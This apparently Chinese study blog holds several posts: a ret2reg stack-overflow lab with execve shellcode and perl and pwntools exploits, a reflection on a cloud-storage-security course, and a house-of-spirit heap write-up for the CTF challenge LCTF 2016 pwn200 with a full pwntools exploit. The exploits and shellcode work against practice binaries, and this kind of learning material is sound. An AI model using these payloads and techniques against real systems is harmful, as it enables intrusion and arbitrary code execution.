漏洞代码ret2reg.c 编译:gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
打开ALSR echo 2 > /proc/sys/kernel/randomize_va_space
12345678910111213141516#include <stdio.h> #include <string.h> void evilfunction(char *input) { char buffer[512]; strcpy(buffer, input); } int main(int argc, char **argv) { evilfunction(argv[1]); return 0; }
攻击过程寻找溢出长度 可以通过gdb调试,也可以通过参考文章作者给的办法
1./ret2reg $(perl -e 'printf "A"x524 . "BBBB"')
完之后再查看内核崩溃文件,能看到覆盖了返回地址,EIP被设置为BBBB
寻找gadget1234567891011121314root@vultr:~/ret2reg# objdump -d ret2reg | grep *%eax 101d: ff d0 call *%eax 110c: ff d0 call *%eax root@vultr:~/ret2reg# ROPgadget --binary ret2reg --only="call"Gadgets information============================================================0x000010b6 : call dword ptr [eax + 0x51]0x000010af : call dword ptr [eax - 0x73]0x000011f0 : call dword ptr [edx - 0x77]0x0000101d : call eax0x0000115d : call edxUnique gadgets found: 5
寻找shellcode和寄存器的关系 在strcpy后,shellcode的存放地址,也在了eax中(存放返回值),因为strcpy函数的返回值是指向最终的目标字符串 dest 的指针,所以如果有jmp eax或者call eax,就可以转移控制流过去
core文件gdb ret2reg core –q 查看内核崩溃文件, 可以看到崩溃时的情况
那么,linux 程序崩溃 如何产生core呢?
ulimit查看,如果为0,就不会产生,需要设置一下,
ulimit -c unlimited 设置为可以产生coredump且大小不受限制,但仅对当前会话?生效,如果想要永久生效,修改/etc/profile,加入ulimit -c unlimited即可
参考链接: https://www.tinymind.net.cn/articles/e4c54a679a8b15
exp 这里的一个重点是要找call eax的地址,
echo 0 > /proc/sys/kernel/randomize_va_space(作者echo 2, 说是不随机化加载地址,但是我这边随机化了…回头再了解下
123456pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File0x56555000 0x56558000 r-xp 3000 0 /root/ret2reg/ret2reg0x56558000 0x56559000 r-xp 1000 2000 /root/ret2reg/ret2reg0x56559000 0x5655a000 rwxp 1000 3000 /root/ret2reg/ret2reg
方法一 0x5655601d
1./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')
随机化程度有多少呢? 是否可以枚举
根据实际情况测试,随机化的大小好像不是很大,可以直接枚举(回头确认下范围)
和博客里的那个随机化不一样,博客里说把randomize_va_space设置为2,这里设置为2仍然会随机化,设置为0就都取消了
12345root@vultr:~/ret2reg# echo 0 > /proc/sys/kernel/randomize_va_spaceroot@vultr:~/ret2reg# ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\x1d\x60\x55\x56"')# lscore exp.py ret2reg ret2reg.c# exit
方法二 这里面的三个payload都可以用,本质上没啥区别. 不加架构也能成功,注意需要在启动时就传递参数的话,用这种方式 p = process(argv=[“./ret2reg”,payload])
1234567891011from pwn import *#context.arch= 'i386'context(arch='i386',os='linux',log_level='debug')shellcode = asm(shellcraft.sh())#payload = shellcode + b"a"*(524-len(shellcode))+p32(0x5655601d)#payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+p32(0x5655601d)payload = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"+b"a"*499+b"\x1d\x60\x55\x56"p = process(argv=["./ret2reg",payload])p.interactive()
参考链接:https://it.cha138.com/jingpin/show-199849.html
问题jmp可以吗? jmp是指什么来..
call和jmp的区别
2.关于随机化地址的问题
ucas-夏季学期-云存储安全和知识图谱
夏季学期选课选到了第一周,一周上完,满满的五天课,还是收获了很多的. 首先是这个云计算安全实践(其实是云存储安全实践)做了一个小系统,正好本身打算学c++,这就提前做个小项目了,感觉收获蛮多的. 然后就是知识图谱课程,当初了解知识图谱是导师给我推荐,可以用这个来整理自己的笔记,后来用了用(可能还算不上知识图谱,就是图),确实感觉很不错,因为更符合人的思维习惯我觉得,用图的形式来表达,能够更好地看清事物之间的联系,也有助于建立自己的知识体系!
不过选了知识图谱这个课程…可能是个错误的选择…真要深入了解的话,隔行如隔山,什么自然语言处理,各种机器学习的东西像听天书一样,听的我头大(头疼),确实不太喜欢这个东西, 不过也反思了一下自己,如果真的有必要去学的话,要克制一下自己的喜好,该学的要学.
云存储安全 老师它们甚至还写了本书,为了这个课程(或许是有了书才有的课程),这本书里应该把整个系统的实现写的差不多了,代码完成了百分之七八十,所需要的是理解原理,看懂代码,然后进行CV(小小修改)
书籍: 《云存储安全实践》 陈驰老师团队 (微信读书有的)
这个系统主要是实现一个类似云盘功能的东西,然后加入了很多安全的东西,比如三权分立,有账户管理的管理员、有日志管理的管理员、有系统的管理员,然后就是普通用户了.
然后对于核心的用户功能,类似于实现了一个云盘,用户可以上传文件,然后文件是加密传输的,存储到阿里云等公有云上,密钥存储到另外一个云管理平台上,这样就保证了即便数据泄露了,也不会被攻击者轻易得到数据.
前端采用QT框架,利用c++进行开发,后端采用java.
其实没有设计太复杂的编程,本质还是增删改查,融入了一些安全的理念以及云存储的一点功能.(不过不是说这个系统很简单,这个系统确实能学到很多东西)
以及通过这次实验,让我加深了一个印象,编程不是魔法,没有什么特殊的技巧,更重要的是基础, 尤其是在这次编程中体会到了模版函数等各种机制的利用会带来非常大的便利,比如说很多功能类似的函数,这时候就需要模版函数了,很多复杂的功能,也都是最基本的函数,以及循环、顺序、判断的组合.
登陆页面:
用户管理页面:
文件管理页面:
搜索功能
知识图谱 没什么评价…………..听天书……….
pwn入门-33-houseofspirit
这个东西蛮有意思,可以对内存中一块fastbin大小的不可控内存区域进行读写,但它需要满足两个条件
1.该区域的前后的内存是可控的
2.存在一个可控指针可以作为free函数的参数
how2heap的例子https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_spirit.c
确实需要画图,画图的话看得很清晰了就
LCTF 2016 pwn200 看一下有rwx段,可以写shellcode,本来是想打onegadget的,不过这种打法还需要泄露libc的地址
12345678root@VM-24-10-ubuntu:/home/ubuntu/heap/houseofsp# checksec pwn200[*] '/home/ubuntu/heap/houseofsp/pwn200' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
1234567891011121314151617181920__int64 sub_400A8E(){ __int64 i; // [rsp+10h] [rbp-40h] char v2[48]; // [rsp+20h] [rbp-30h] BYREF puts("who are u?"); for ( i = 0LL; i <= 47; ++i ) { read(0, &v2[i], 1uLL); if ( v2[i] == 10 ) { v2[i] = 0; break; } } printf("%s, welcome to xdctf~\n", v2); puts("give me your id ~~?"); sub_4007DF(); return sub_400A29();}
123456789101112131415161718192021222324252627int sub_4007DF(){ char nptr[8]; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+8h] [rbp-8h] int i; // [rsp+Ch] [rbp-4h] v2 = 0; for ( i = 0; i <= 3; ++i ) { read(0, &nptr[i], 1uLL); if ( nptr[i] == 10 ) //换行 { nptr[i] = 0; //空字符 break; } if ( nptr[i] > 57 || nptr[i] <= 47 ) // 如果不是数字的话,就打印出来(只读取一个了就),如果是的话,跳过 { printf("0x%x ", (unsigned int)nptr[i]); return 0; } } v2 = atoi(nptr); if ( v2 >= 0 ) return atoi(nptr); else return 0;}
要先想办法泄露地址,输入回车的会被替换成0(就相当于字符串到最后了,被截断)
把前面修改为 0x40 fastbin大小,,然后进行free, 然后malloc获取到ret地址,然后就修改ret进行getshell
泄露地址 不要遗漏每一个函数和语句!
输入48个A泄露rbp
伪造chunk 这里是输入money那里,可以直接覆盖到ptr指针,把ptr覆盖了,覆盖成当前rbp的地址之前的某个位置,伪造chunk,free,然后再申请拿到这一块内存控制权限,然后就可以修改ret了,但是两个问题,
1.不知道libc的地址,知道的话,可以直接onegadget了,所以书中的解法是用了shellcode
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
可以看一下最终的效果图,很清晰
exp12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *#io = remote('0.0.0.0', 10001)io = process('./pwn200')shellcode = asm(shellcraft.amd64.linux.sh(), arch='amd64')def leak(): global fake_addr global shellcode_addr payload = shellcode.rjust(48, b'A') io.sendafter("who are u?\n", payload) io.recvuntil(payload) rbp_addr = u64(io.recvn(6).ljust(8, b'\x00')) shellcode_addr = rbp_addr - 0x20 - len(shellcode) fake_addr = rbp_addr - 0x20 - 0x30 - 0x40 # make fake.size = 0x40 log.info("shellcode address: 0x%x" % shellcode_addr) log.info("fake chunk address: 0x%x" % fake_addr)def house_of_spirit(): io.sendlineafter("give me your id ~~?\n", '65') # next.size = 0x41 fake_chunk = p64(0) * 5 fake_chunk += p64(0x41) # fake.size fake_chunk = fake_chunk.ljust(0x38, b'\x00') fake_chunk += p64(fake_addr) # overwrite pointer io.sendafter("give me money~\n", fake_chunk) io.sendlineafter("choice : ", '2') # free(fake_addr) io.sendlineafter("choice : ", '1') # malloc(fake_addr) io.sendlineafter("long?", '48') payload = b"A" * 0x18 payload += p64(shellcode_addr) # overwrite return address payload = payload.ljust(48, b'\x00') io.sendafter("48\n", payload)def pwn(): io.sendlineafter("choice", '3') io.interactive()leak()house_of_spirit()pwn()
排错 自己写的exp一直有问题,有一大片后面的选择\n=======EASY HOTEL========\n1. check in\n2. check out\n3. goodbye\nyour choice :的输出
捣鼓半天是leak那里出问题了..一个回车引发的血案……….草……… 造成了后面一堆的错乱,为啥gdb里不影响呢?
这里要用send,因为存在offbyone,所以不需要回车,可以正好填满缓冲区,然后把rbp打印出来
12345def leak(): 14 global fake_addr,shellcode_addr 15 payload = shellcode.rjust(48,b'A') 16 p.recvuntil("who are u?\n") 17 p.send(payload)
感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
是的,理论上48个字符后,下一个字符,会放到ebp-0x38,也就是刚才输入的who are u后面的前方(不信可以输入49个a试试)
1234.text:0000000000400B1F call sub_4007DF.text:0000000000400B24 cdqe.text:0000000000400B26 mov [rbp+var_38], rax.text:0000000000400B2A mov eax, 0
不正常的,不正常是因为\n被give you id读取了,然后65\n和give your money后面全乱了
正常的(伪造这个0x41的位置),释放后再申请,前面18个随便填充,然后就覆盖返回地址了
待整理 感觉貌似就算输入48个字符和\n,也不会有影响呀,是影响了后面的东西吗,比如这个\n作为后面的输入了? 是的,是这样
程序运行起来了,接入pid调试
,或者能不能直接看内存空间
Gdb attach本地进程进去
搞一搞pwntools,深入理解下
house_of_spirit 也有一个send
你的exp有问题…不过确实可以找一下其他的学一下
2.伪造chunk的话,需要满足一定约束,也就是它相邻的chunk的size域和那几个标志位,这个可以通过之前的输入id来解决
https://blog.csdn.net/sinat_35360663/article/details/128510319
后面有个总结不错
一个回车惹的祸…